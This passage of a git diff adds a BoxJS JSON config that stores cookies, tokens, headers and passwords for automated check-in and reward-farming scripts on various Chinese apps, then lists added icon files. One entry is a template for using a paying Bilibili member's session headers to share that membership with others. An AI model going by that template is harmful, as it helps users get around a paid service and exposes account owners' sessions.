"id": "SMZDM_COOKIE", + "name": "什么值得买cookie,多账号用英文逗号(@)分隔", + "val": "", + "type": "textarea", + "autoGrow": false, + "rows": 8, + "desc": "" + }, + { + "id": "fmz200_smzdm_cookie", + "name": "什么值得买cookie,多账号使用JSON存储", + "val": "", + "type": "textarea", + "autoGrow": false, + "rows": 8, + "desc": "" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/smzdm.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/smzdm.png" + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts" + }, + { + "id": "fmz200_oil_price", + "name": "今日油价", + "keys": [ + "oil_price_region" + ], + "descs_html": [ + "填写需要查询的地区" + ], + "settings": [ + { + "id": "oil_price_region", + "name": "今日油价查询地区", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 1, + "desc": "今日油价查询地区" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png" + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts" + }, + { + "id": "fmz200_didi_fruit", + "name": "滴滴橙心果园", + "keys": [ + "ddgyToken", + "fmz200_didi_fruit" + ], + "descs_html": [ + "多账号换行或者@隔开,格式uid&token。uid不可随便填,会根据uid更新数据" + ], + "settings": [ + { + "id": "ddgyToken", + "name": "token", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "token" + }, + { + "id": "fmz200_didi_fruit", + "name": "token", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "token" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/didi.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/didi.png" + ], + "author": "@passerby-b", + "repo": "https://github.com/fmz200/wool_scripts", + "script": "https://raw.githubusercontent.com/passerby-b/didi_fruit/main/dd_fruit.js" + }, + { + "id": "fmz200_ks_fruit", + "name": "快手果园", + "keys": [ + "kscookies" + ], + "descs_html": [ + "(正在计划多账号支持)填写cookie,多账号用英文逗号(@)分开" + ], + "settings": [ + { + "id": "kscookies", + "name": "kscookies", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "kscookies" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/kuaishou.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/kuaishou.png" + ], + "author": "@passerby-b", + "repo": "https://github.com/fmz200/wool_scripts", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_fruit.js" + }, + { + "id": "fmz200_pdd_fruit", + "name": "拼多多果园token", + "keys": [ + "ddgyck", + "fmz200_pdd_token" + ], + "descs_html": [ + "(正在计划多账号支持)小程序或APP 进果园一圈(批量浇水),在请求头中搜索AccessToken" + ], + "settings": [ + { + "id": "ddgyck", + "name": "拼多多果园token", + "val": "", + "type": "textarea", + "autoGrow": false, + "rows": 4, + "desc": "多个账号用@分割:tk1@tk2" + }, + { + "id": "fmz200_pdd_token", + "name": "拼多多果园token", + "val": "", + "type": "textarea", + "autoGrow": false, + "rows": 8, + "desc": "多个账号用@分割:tk1@tk2" + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_guoyuan.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/pinduoduo.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/pinduoduo.png" + ] + }, + { + "id": "fmz200_mt_token", + "name": "美团token", + "keys": [ + "meituanCookie", + "fmz200_meituan_cookie" + ], + "descs_html": [ + "打开美团查看个人资料,在请求头中搜索token\n如果要获取多账号更新,点击完善资料进入页面获取[不需要真编辑]" + ], + "settings": [ + { + "id": "meituanCookie", + "name": "美团token", + "val": "", + "desc": "多账号换行或者@隔开。例如:token1@token2", + "type": "textarea", + "autoGrow": true, + "rows": 8 + }, + { + "id": "fmz200_meituan_cookie", + "name": "美团token-json格式", + "val": "", + "desc": "多账号用JSON格式存储", + "type": "textarea", + "autoGrow": true, + "rows": 8 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/meituan.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/meituan.png" + ] + }, + { + "id": "fmz200_xxyx_token", + "name": "晓晓优选token", + "keys": [ + "fmz200_xxyx_token", + "xxyx_data" + ], + "descs_html": [ + "打开APP点击“我的”页面获取,可到代理工具脚本日志中查看token" + ], + "settings": [ + { + "id": "fmz200_xxyx_token", + "name": "", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": true, + "rows": 8 + }, + { + "id": "xxyx_data", + "name": "", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": true, + "rows": 8 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "scripts": [ + { + "name": "晓晓优选每日任务", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/Scripts/xxyx/xxyx_signin.js" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx.jpeg", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx.jpeg" + ] + }, + { + "id": "fmz200_chery_account", + "name": "奇瑞汽车App签到", + "keys": [ + "fmz200_chery_account" + ], + "descs_html": [ + "打开APP点击“我的”页面获取,可到代理工具脚本日志中查看token" + ], + "settings": [ + { + "id": "fmz200_chery_account", + "name": "", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": true, + "rows": 8 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "scripts": [ + { + "name": "奇瑞汽车App签到", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/chery/cheryAppSignin.js" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/chery.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/chery.png" + ] + }, + { + "id": "fmz200_airport_notice", + "name": "获取机场公告", + "keys": [ + "url_airport", + "email_airport", + "password_airport" + ], + "descs_html": [ + "按提示填写机场地址和用户名密码,运行脚本获取机场的通知" + ], + "settings": [ + { + "id": "url_airport", + "name": "你的机场地址,例如 www.brd.life", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 1 + }, + { + "id": "email_airport", + "name": "你的邮箱,如果失败把@符号写成%40", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 1 + }, + { + "id": "password_airport", + "name": "你的密码", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 1 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/airport.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/airport.png" + ], + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/airport_fetch_notice.js" + }, + { + "id": "fmz200_testflight", + "name": "TF自动加入", + "keys": [ + "fmz200_TF_APP_ID", + "fmz200_TF_header" + ], + "settings": [ + { + "id": "fmz200_TF_APP_ID", + "name": "", + "val": "", + "type": "textarea", + "placeholder": "示例:VCIvwk2g,1SyedSId", + "autoGrow": true, + "rows": 1, + "desc": "以英文逗号分隔多个key" + }, + { + "id": "fmz200_TF_header", + "name": "", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4, + "desc": "" + } + ], + "author": "@fmz200", + "repo": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/AutoJoinTF.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TestFlight.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TestFlight.png" + ] + }, + { + "id": "TestFlightAccount", + "name": "TF账户管理", + "keys": [ + "TESTFLIGHT-ACCOUNT" + ], + "descs_html": [ + "

脚本说明以及配置请查看脚本注释

" + ], + "settings": [ + { + "id": "@TESTFLIGHT-ACCOUNT.Debug", + "name": "开发者模式", + "val": false, + "type": "boolean", + "desc": "用于调试脚本, 一般用户请勿开启." + }, + { + "id": "TESTFLIGHT-ACCOUNT", + "name": "TF账户信息", + "type": "textarea", + "autoGrow": true, + "rows": 10, + "desc": "一般用户请勿修改" + } + ], + "author": "@NobyDa", + "repo": "https://github.com/NobyDa/Script/blob/master/TestFlight/TestFlightAccount.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/testflight.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/testflight.png" + ] + }, + { + "id": "fmz200_ql_sync", + "name": "BoxJS与青龙数据同步", + "keys": [ + "ql_sync_keys", + "ql_sync_notify", + "@ql.ip", + "@ql.client_id", + "@ql.client_secret", + "@ql.username", + "@ql.password", + "@ql.env", + "@ql.mute", + "@ql.is_pwd" + ], + "settings": [ + { + "id": "ql_sync_keys", + "name": "需要同步的keys", + "val": "", + "type": "textarea", + "placeholder": "", + "autoGrow": true, + "rows": 2, + "desc": "以英文逗号分隔多个key,例如:key1,key2,key3 \n 如果要增加注释可以用格式@分隔key和注释,例如:key1@remark1,key2@remark2,key3@remark3 \n 以上两种格式可以混用" + }, + { + "id": "ql_sync_notify", + "name": "是否静默通知", + "val": "", + "type": "boolean", + "placeholder": "true or false", + "autoGrow": true, + "rows": 1, + "desc": "关闭后成功时将不会通知,同步失败会通知(暂时没做)" + }, + { + "id": "@ql.is_pwd", + "name": "开启密码登陆", + "val": false, + "type": "boolean", + "desc": "同步时,优先使用密码登陆" + }, + { + "id": "@ql.ip", + "name": "青龙登陆的域名或IP:端口号", + "val": "", + "type": "text", + "placeholder": "111.21.0.32:5700" + }, + { + "id": "@ql.client_id", + "name": "应用 Client ID", + "val": "", + "type": "text" + }, + { + "id": "@ql.client_secret", + "name": "应用 Client Secret", + "val": "", + "type": "text" + }, + { + "id": "@ql.username", + "name": "账号", + "val": "", + "type": "text" + }, + { + "id": "@ql.password", + "name": "密码", + "val": "", + "type": "text" + } + ], + "author": "@fmz200", + "repo": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qinglong/ql_sync.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ql.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ql.png" + ], + "scripts": [ + { + "name": "BoxJS同步到青龙", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qinglong/ql_sync.js" + } + ], + "descs_html": [ + "青龙 docker 的安装方式请移步 tg 频道", + "青龙 docker 仓库:【github】", + "青龙 docker 频道:【电报频道】", + "去广告交流群:【去广告交流群】", + "应用client_id,client_secret获取请去青龙面板“系统设置->应用设置”中添加相关参数,优先以openapi方式同步" + ] + }, + { + "id": "fmz200_macat_signin", + "name": "macat.vip网站签到", + "keys": [ + "fmz200.macat_loginBody" + ], + "settings": [ + { + "id": "fmz200.macat_loginBody", + "name": "登录网站的body", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": true, + "rows": 2 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png" + ] + }, + { + "id": "fmz200_freeAppsToday", + "name": "今日限免APP", + "keys": [ + "freeAppsTodayKey" + ], + "descs_html": [ + "填写key可以使用bark推送,可以对不同平台和更新内容分组推送,不填使用自带通知推送,支持跳转商店" + ], + "settings": [ + { + "id": "freeAppsTodayKey", + "name": "bark的Key", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 4 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "scripts": [ + { + "name": "获取今日限免APP", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/freeAppsToday.js" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/AppStore.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/AppStore.png" + ] + }, + { + "id": "fmz200_CCB_life", + "name": "建行生活签到", + "keys": [ + "JHSH_BODY", + "JHSH_LOGIN_INFO", + "JHSH_SKIPDAY", + "JHSH_VERSION", + "JHSH_GIFT" + ], + "descs_html": [ + "单账号签到,使用方法详见脚本内说明" + ], + "settings": [ + { + "id": "JHSH_BODY", + "name": "签到的body", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 4 + }, + { + "id": "JHSH_LOGIN_INFO", + "name": "签到的登录信息", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 4 + }, + { + "id": "JHSH_SKIPDAY", + "name": "断签信息", + "val": "", + "desc": "", + "type": "text" + }, + { + "id": "JHSH_VERSION", + "name": "版本号", + "val": "", + "desc": "", + "type": "text" + }, + { + "id": "JHSH_GIFT", + "name": "需要领取的奖励,1:打车,2:外卖,3:骑行。默认2", + "val": "", + "desc": "", + "type": "text" + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "scripts": [ + { + "name": "建行生活签到", + "script": "https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ccbLife.jpg", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ccbLife.jpg" + ] + }, + { + "id": "fmz200_douyuYubaSign", + "name": "斗鱼鱼吧签到", + "desc_html": "⚠️使用说明
详情【点我查看】", + "keys": [ + "CookieDY", + "GroupDY" + ], + "settings": [ + { + "id": "lkIsEnableLogDouyuYubaSign", + "name": "开启/关闭日志", + "val": true, + "type": "boolean", + "desc": "默认开启" + }, + { + "id": "lkNotifyOnlyFailDouyuYubaSign", + "name": "只当执行失败才通知", + "val": false, + "type": "boolean", + "desc": "默认关闭" + }, + { + "id": "lkIsEnableTgNotifyDouyuYubaSign", + "name": "开启/关闭Telegram通知", + "val": false, + "type": "boolean", + "desc": "默认关闭" + }, + { + "id": "lkTgNotifyUrlDouyuYubaSign", + "name": "Telegram通知地址", + "val": "", + "type": "text", + "desc": "Tg的通知地址,如:https://api.telegram.org/bot-token/sendMessage?chat_id=-100140&parse_mode=Markdown&text=" + }, + { + "id": "CookieDY", + "name": "Cookie", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 4 + }, + { + "id": "GroupDY", + "name": "签到分组", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": false, + "rows": 4 + } + ], + "author": "@demo2099, @lowking, @fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "script": "https://github.com/fmz200/wool_scripts/raw/main/Scripts/douyu/yubaSign.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/douyu.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/douyu.png" + ] + }, + { + "id": "fmz200_weibo_token", + "name": "微博每日签到token", + "keys": [ + "fmz200_weibo_token" + ], + "descs_html": [ + "打开微博会随缘获取,暂时不知道触发条件" + ], + "settings": [ + { + "id": "fmz200_weibo_token", + "name": "", + "val": "", + "desc": "", + "type": "textarea", + "autoGrow": true, + "rows": 8 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "scripts": [ + { + "name": "微博每日签到", + "script": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_signin.js" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png" + ] + }, + { + "id": "fmz200_weibo_talk", + "name": "微博超话签到", + "desc_html": "⚠️使用说明
详情【点我查看】", + "keys": [ + "wb_delete_cookie", + "wb_msg_max_num", + "wb_request_time", + "fmz200_weibotalk_token", + "evil_tokenurl", + "evil_tokenheaders", + "evil_tokencheckinurl", + "evil_tokencheckinheaders", + "evil_tokenurl2", + "evil_tokenheaders2", + "evil_tokencheckinurl2", + "evil_tokencheckinheaders2" + ], + "settings": [ + { + "id": "wb_delete_cookie", + "name": "是否清空cookie", + "val": false, + "type": "boolean", + "desc": "默认关闭" + }, + { + "id": "wb_msg_max_num", + "name": "一个通知显示30个超话的签到情况", + "val": "", + "type": "text", + "desc": "" + }, + { + "id": "wb_request_time", + "name": "签到间隔", + "val": "", + "type": "text", + "desc": "【签到间隔,单位ms】,若超话过多,建议填1000ms以上。" + }, + { + "id": "fmz200_weibotalk_token", + "name": "多账号token", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokenurl", + "name": "账号1的token", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokenheaders", + "name": "账号1的headers", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokencheckinurl", + "name": "账号1的签到url", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokencheckinheaders", + "name": "账号1的签到headers", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokenurl2", + "name": "账号2的token", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokenheaders2", + "name": "账号2的headers", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokencheckinurl2", + "name": "账号2的签到url", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "evil_tokencheckinheaders2", + "name": "账号2的签到headers", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + } + ], + "author": "@toulanboy, @fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "script": "https://github.com/toulanboy/scripts/raw/master/weibo/weibotalk.js", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png" + ] + }, + { + "id": "fmz200_bilibili_share", + "name": "哔哩哔哩共享会员模板", + "desc_html": "⚠️使用说明:有会员的用户获取headers发给你后填入下面对应的内容里,点击保存,打开B站测试可用性\n
点我查看使用说明】", + "keys": [ + "Cookie", + "x-bili-device-bin", + "wb_request_time", + "Authorization", + "User-Agent", + "buvid", + "x-bili-metadata-bin", + "x-bili-locale-bin", + "x-bili-network-bin", + "x-bili-fawkes-req-bin", + "x-bili-trace-id" + ], + "settings": [ + { + "id": "Cookie", + "name": "Cookie", + "val": false, + "type": "text", + "desc": "" + }, + { + "id": "x-bili-device-bin", + "name": "x-bili-device-bin", + "val": "", + "type": "text", + "desc": "" + }, + { + "id": "Authorization", + "name": "Authorization", + "val": "", + "type": "text", + "desc": "" + }, + { + "id": "User-Agent", + "name": "User-Agent", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "buvid", + "name": "buvid", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "x-bili-metadata-bin", + "name": "x-bili-metadata-bin", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "x-bili-locale-bin", + "name": "x-bili-locale-bin", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "x-bili-network-bin", + "name": "x-bili-network-bin", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "x-bili-fawkes-req-bin", + "name": "x-bili-fawkes-req-bin", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + }, + { + "id": "x-bili-trace-id", + "name": "x-bili-trace-id", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 4 + } + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts", + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BiliBili.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BiliBili.png" + ] + } + ] +} diff --git a/icons/Twoandz9/AMY.png b/icons/Twoandz9/AMY.png new file mode 100644 index 00000000..81b97e29 Binary files /dev/null and b/icons/Twoandz9/AMY.png differ diff --git a/icons/Twoandz9/Alink.png b/icons/Twoandz9/Alink.png new file mode 100644 index 00000000..a017465e Binary files /dev/null and b/icons/Twoandz9/Alink.png differ diff --git a/icons/Twoandz9/Anyland.png b/icons/Twoandz9/Anyland.png new file mode 100644 index 00000000..00d48abe Binary files /dev/null and b/icons/Twoandz9/Anyland.png differ diff --git a/icons/Twoandz9/Ark.png b/icons/Twoandz9/Ark.png new file mode 100644 index 00000000..12542f51 Binary files /dev/null and b/icons/Twoandz9/Ark.png differ diff --git a/icons/Twoandz9/BBQ.png b/icons/Twoandz9/BBQ.png new file mode 100644 index 00000000..0a2c3e16 Binary files /dev/null and b/icons/Twoandz9/BBQ.png differ diff --git a/icons/Twoandz9/BBbus.png b/icons/Twoandz9/BBbus.png new file mode 100644 index 00000000..386c215f Binary files /dev/null and b/icons/Twoandz9/BBbus.png differ diff --git a/icons/Twoandz9/BK.png b/icons/Twoandz9/BK.png new file mode 100644 index 00000000..4dd9d97b Binary files /dev/null and b/icons/Twoandz9/BK.png differ diff --git a/icons/Twoandz9/BYG.png b/icons/Twoandz9/BYG.png new file mode 100644 index 00000000..622687de Binary files /dev/null and b/icons/Twoandz9/BYG.png differ diff --git a/icons/Twoandz9/Bailan.png b/icons/Twoandz9/Bailan.png new file mode 100644 index 00000000..42face38 Binary files /dev/null and b/icons/Twoandz9/Bailan.png differ diff --git a/icons/Twoandz9/Bailanyun.png b/icons/Twoandz9/Bailanyun.png new file mode 100644 index 00000000..21150d9d Binary files /dev/null and b/icons/Twoandz9/Bailanyun.png differ diff --git a/icons/Twoandz9/Bajie.png b/icons/Twoandz9/Bajie.png new file mode 100644 index 00000000..b3981059 Binary files /dev/null and b/icons/Twoandz9/Bajie.png differ diff --git a/icons/Twoandz9/Bigairport.png b/icons/Twoandz9/Bigairport.png new file mode 100644 index 00000000..2a69179c Binary files /dev/null and b/icons/Twoandz9/Bigairport.png differ diff --git a/icons/Twoandz9/Bitz.png b/icons/Twoandz9/Bitz.png new file mode 100644 index 00000000..e5fd5ded Binary files /dev/null and b/icons/Twoandz9/Bitz.png differ diff --git a/icons/Twoandz9/Boom.png b/icons/Twoandz9/Boom.png new file mode 100644 index 00000000..3009a5b9 Binary files /dev/null and b/icons/Twoandz9/Boom.png differ diff --git a/icons/Twoandz9/Bywave.png b/icons/Twoandz9/Bywave.png new file mode 100644 index 00000000..eeb4c41c Binary files /dev/null and b/icons/Twoandz9/Bywave.png differ diff --git a/icons/Twoandz9/CC.png b/icons/Twoandz9/CC.png new file mode 100644 index 00000000..9b137c89 Binary files /dev/null and b/icons/Twoandz9/CC.png differ diff --git a/icons/Twoandz9/CC1.png b/icons/Twoandz9/CC1.png new file mode 100644 index 00000000..3e095dad Binary files /dev/null and b/icons/Twoandz9/CC1.png differ diff --git a/icons/Twoandz9/CC2.png b/icons/Twoandz9/CC2.png new file mode 100644 index 00000000..3162cbf9 Binary files /dev/null and b/icons/Twoandz9/CC2.png differ diff --git a/icons/Twoandz9/CT1.png b/icons/Twoandz9/CT1.png new file mode 100644 index 00000000..159fd68e Binary files /dev/null and b/icons/Twoandz9/CT1.png differ diff --git a/icons/Twoandz9/Catnet.png b/icons/Twoandz9/Catnet.png new file mode 100644 index 00000000..73d2a454 Binary files /dev/null and b/icons/Twoandz9/Catnet.png differ diff --git a/icons/Twoandz9/Coffee.png b/icons/Twoandz9/Coffee.png new file mode 100644 index 00000000..691d1eae Binary files /dev/null and b/icons/Twoandz9/Coffee.png differ diff --git a/icons/Twoandz9/Coffee1.png b/icons/Twoandz9/Coffee1.png new file mode 100644 index 00000000..4e5955e6 Binary files /dev/null and b/icons/Twoandz9/Coffee1.png differ diff --git a/icons/Twoandz9/Coffee2.png b/icons/Twoandz9/Coffee2.png new file mode 100644 index 00000000..691d1eae Binary files /dev/null and b/icons/Twoandz9/Coffee2.png differ diff --git a/icons/Twoandz9/Cream.png b/icons/Twoandz9/Cream.png new file mode 100644 index 00000000..41066bbc Binary files /dev/null and b/icons/Twoandz9/Cream.png differ diff --git a/icons/Twoandz9/Cream2.png b/icons/Twoandz9/Cream2.png new file mode 100644 index 00000000..5ed546a4 Binary files /dev/null and b/icons/Twoandz9/Cream2.png differ diff --git a/icons/Twoandz9/DJ.png b/icons/Twoandz9/DJ.png new file mode 100644 index 00000000..e82c7ac7 Binary files /dev/null and b/icons/Twoandz9/DJ.png differ diff --git a/icons/Twoandz9/Dingdangamo.png b/icons/Twoandz9/Dingdangamo.png new file mode 100644 index 00000000..98b8e5c6 Binary files /dev/null and b/icons/Twoandz9/Dingdangamo.png differ diff --git a/icons/Twoandz9/EF.png b/icons/Twoandz9/EF.png new file mode 100644 index 00000000..8637fbd4 Binary files /dev/null and b/icons/Twoandz9/EF.png differ diff --git a/icons/Twoandz9/EF1.png b/icons/Twoandz9/EF1.png new file mode 100644 index 00000000..12f023a0 Binary files /dev/null and b/icons/Twoandz9/EF1.png differ diff --git a/icons/Twoandz9/EF2.png b/icons/Twoandz9/EF2.png new file mode 100644 index 00000000..6042ffc1 Binary files /dev/null and b/icons/Twoandz9/EF2.png differ diff --git a/icons/Twoandz9/ELE.png b/icons/Twoandz9/ELE.png new file mode 100644 index 00000000..8562ef39 Binary files /dev/null and b/icons/Twoandz9/ELE.png differ diff --git a/icons/Twoandz9/ENET.png b/icons/Twoandz9/ENET.png new file mode 100644 index 00000000..37d5b1c3 Binary files /dev/null and b/icons/Twoandz9/ENET.png differ diff --git a/icons/Twoandz9/ETON.png b/icons/Twoandz9/ETON.png new file mode 100644 index 00000000..0b2d2fc4 Binary files /dev/null and b/icons/Twoandz9/ETON.png differ diff --git a/icons/Twoandz9/Fast.png b/icons/Twoandz9/Fast.png new file mode 100644 index 00000000..167ed774 Binary files /dev/null and b/icons/Twoandz9/Fast.png differ diff --git a/icons/Twoandz9/Fishchip.png b/icons/Twoandz9/Fishchip.png new file mode 100644 index 00000000..b4e601d3 Binary files /dev/null and b/icons/Twoandz9/Fishchip.png differ diff --git a/icons/Twoandz9/Fishport.png b/icons/Twoandz9/Fishport.png new file mode 100644 index 00000000..53600edc Binary files /dev/null and b/icons/Twoandz9/Fishport.png differ diff --git a/icons/Twoandz9/Fishport0.png b/icons/Twoandz9/Fishport0.png new file mode 100644 index 00000000..742602ce Binary files /dev/null and b/icons/Twoandz9/Fishport0.png differ diff --git a/icons/Twoandz9/Flowercloud.png b/icons/Twoandz9/Flowercloud.png new file mode 100644 index 00000000..a4a114cb Binary files /dev/null and b/icons/Twoandz9/Flowercloud.png differ diff --git a/icons/Twoandz9/Flybird.png b/icons/Twoandz9/Flybird.png new file mode 100644 index 00000000..c4a1e63c Binary files /dev/null and b/icons/Twoandz9/Flybird.png differ diff --git a/icons/Twoandz9/Flyingbird.png b/icons/Twoandz9/Flyingbird.png new file mode 100644 index 00000000..ee3a490c Binary files /dev/null and b/icons/Twoandz9/Flyingbird.png differ diff --git a/icons/Twoandz9/Gatern.png b/icons/Twoandz9/Gatern.png new file mode 100644 index 00000000..b8b78161 Binary files /dev/null and b/icons/Twoandz9/Gatern.png differ diff --git a/icons/Twoandz9/Guoji.png b/icons/Twoandz9/Guoji.png new file mode 100644 index 00000000..219d22bd Binary files /dev/null and b/icons/Twoandz9/Guoji.png differ diff --git a/icons/Twoandz9/IMM.png b/icons/Twoandz9/IMM.png new file mode 100644 index 00000000..efab3b0b Binary files /dev/null and b/icons/Twoandz9/IMM.png differ diff --git a/icons/Twoandz9/Jiji.png b/icons/Twoandz9/Jiji.png new file mode 100644 index 00000000..556334b6 Binary files /dev/null and b/icons/Twoandz9/Jiji.png differ diff --git a/icons/Twoandz9/Jiji1.png b/icons/Twoandz9/Jiji1.png new file mode 100644 index 00000000..539287e9 Binary files /dev/null and b/icons/Twoandz9/Jiji1.png differ diff --git a/icons/Twoandz9/Jumao.png b/icons/Twoandz9/Jumao.png new file mode 100644 index 00000000..4965946e Binary files /dev/null and b/icons/Twoandz9/Jumao.png differ diff --git a/icons/Twoandz9/KQS.png b/icons/Twoandz9/KQS.png new file mode 100644 index 00000000..8ccff71a Binary files /dev/null and b/icons/Twoandz9/KQS.png differ diff --git a/icons/Twoandz9/Kaochang.png b/icons/Twoandz9/Kaochang.png new file mode 100644 index 00000000..90276d24 Binary files /dev/null and b/icons/Twoandz9/Kaochang.png differ diff --git a/icons/Twoandz9/Kitty.png b/icons/Twoandz9/Kitty.png new file mode 100644 index 00000000..346bd112 Binary files /dev/null and b/icons/Twoandz9/Kitty.png differ diff --git a/icons/Twoandz9/Kitty1.png b/icons/Twoandz9/Kitty1.png new file mode 100644 index 00000000..2128315a Binary files /dev/null and b/icons/Twoandz9/Kitty1.png differ diff --git a/icons/Twoandz9/Kitty3.png b/icons/Twoandz9/Kitty3.png new file mode 100644 index 00000000..31e6b97c Binary files /dev/null and b/icons/Twoandz9/Kitty3.png differ diff --git 